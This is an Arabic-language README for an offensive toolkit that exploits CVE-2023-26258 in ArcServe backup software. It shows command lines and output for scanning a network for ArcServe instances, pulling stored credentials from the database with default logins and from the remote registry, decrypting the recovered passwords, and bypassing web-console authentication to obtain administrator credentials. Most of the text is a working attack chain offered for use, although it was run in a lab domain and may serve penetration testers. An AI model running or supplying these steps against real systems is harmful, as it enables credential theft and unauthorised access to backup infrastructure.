
# أداة استغلال لثغرة CVE-2023-26258 تستهدف برنامج النسخ الاحتياطي ArcServe تتضمن ماسح شبكة، ومستخرج بيانات اعتماد من قاعدة البيانات والسجل، وفك تشفير كلمات المرور، واستغلال لتجاوز المصادقة في واجهة الإدارة على الويب.
الخلاصة المختصرة
إذا كنت داخل الشبكة، يمكنك فحص المثيلات المكوّنة افتراضيًا باستخدام ArcServeRadar.py. حاولت نقله إلى C# لكن لم أستطع، لا تتردد في القيام بذلك إذا كنت تعرف الطريقة :)
c:\Users\vagrant\Desktop>python ArcServeRadar.py "Ethernet 2" 6969 192.168.56.20
-=[ ArcServe Finder - @TheXC3LL - MDSec ]=-
[*] Starting to monitor
[*] Broadcasting
WARNING: Mac address to reach destination not found. Using broadcast.
[+] 192.168.56.10 => ServerName;KINGSLANDING;InstanceName;ARCSERVE_APP;IsClustered;No;Version;15.0.2000.5;tcp;62197;;
إذا كان مكوّنًا افتراضيًا، يمكنك استخدام بيانات اعتماد قاعدة البيانات الافتراضية للاتصال بعنوان IP والمنفذ اللذين تم الحصول عليهما مسبقًا وقراءة اسم المستخدم/كلمة المرور بالإضافة إلى مواقع مثيلات ArcServe باستخدام ArcServe-dbpwner.py:
psyconauta@insulanova:/tmp|⇒ python3 arcserve-dbpwner.py -target 192.168.56.10 -port 62197
-=[ ArcServe credential retriever (from DB) - Juan Manuel Fernandez (@TheXC3LL) - MDSec]=-
[*] Connecting to the server
[*] Login with default creds
[*] Extracting credentials:
[+] User: SEVENKINGDOMS\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] User: SEVENKINGDOMS\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[*] Finding hosts:
[+] 192.168.56.10 | kingslanding.sevenkingdoms.local | Windows Server 2019 Datacenter Evaluation
[+] 192.168.56.10 | kingslanding.sevenkingdoms.local | NULL
Have a nice day! ^_^
يمكن فك تشفير جميع كلمات المرور المستخرجة بواسطة الأدوات باستخدام ArcServeDecrypter.exe. فقط عدّل كود C لإضافة المصفوفة، ثم قم بتجميعه وتنفيذه:
C:\Users\vagrant>C:\Users\vagrant\source\repos\ArcServeDecrypter\x64\Debug\ArcServeDecrypter.exe
-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) - MDSec}=-
[+] Decrypted string: vagrant
إذا كان لديك مستخدم بصلاحيات مسؤول محلي على الخادم الذي تم تثبيت ArcServe عليه، يمكنك قراءة بيانات الاعتماد باستخدام خدمة السجل عن بُعد (arcserve-regkeys.py):
psyconauta@insulanova:/tmp|⇒ python3 arcserve-regkeys.py -u eddard.stark -p 'FightP3aceAndHonor!' -d sevenkingdoms.local -target-ip 192.168.56.20
-=[ ArcServe Credential Stealer - (@TheXC3LL) - MDSec]=-
[+] Connecting to 192.168.56.20
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Opening registry key
[*] User: P3TWLADS11STD\vagrant
[*] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] Stopping Remote Registry Service
Have a nice day! ^_^
أخيرًا، إذا لم يتم تحديث إصدار ArcServe بالتصحيح (CVE-2023-26258)، يمكنك استغلال ثغرة تجاوز المصادقة في واجهة الإدارة عبر الويب واسترداد بيانات اعتماد المسؤول (ArcServe-exploit.py):
psyconauta@insulanova:/tmp|⇒ python3 ArcServe-exploit.py 192.168.56.10
-=[ ArcServe Pwner by Juan Manuel Fernandez (@TheXC3LL) - MDSec]=-
[*] Triggering info leak
[+] AdminName: SEVENKINGDOMS\vagrant
[+] AuthUUID: 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1
[*] Getting a valid session
[+] Session: AGENTJSESSIONID=CA35EF18A4FF2F85E25538F60C3F7428
[*] Doing an authenticated request to validate if session is valid
[*] Session is valid
[+] Admin: SEVENKINGDOMS\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98} // Paste it to the decrypter
Have a happy hacking! ^_^
بهذا ينتهي ملخص الأدوات التي يمكنك العثور عليها هنا.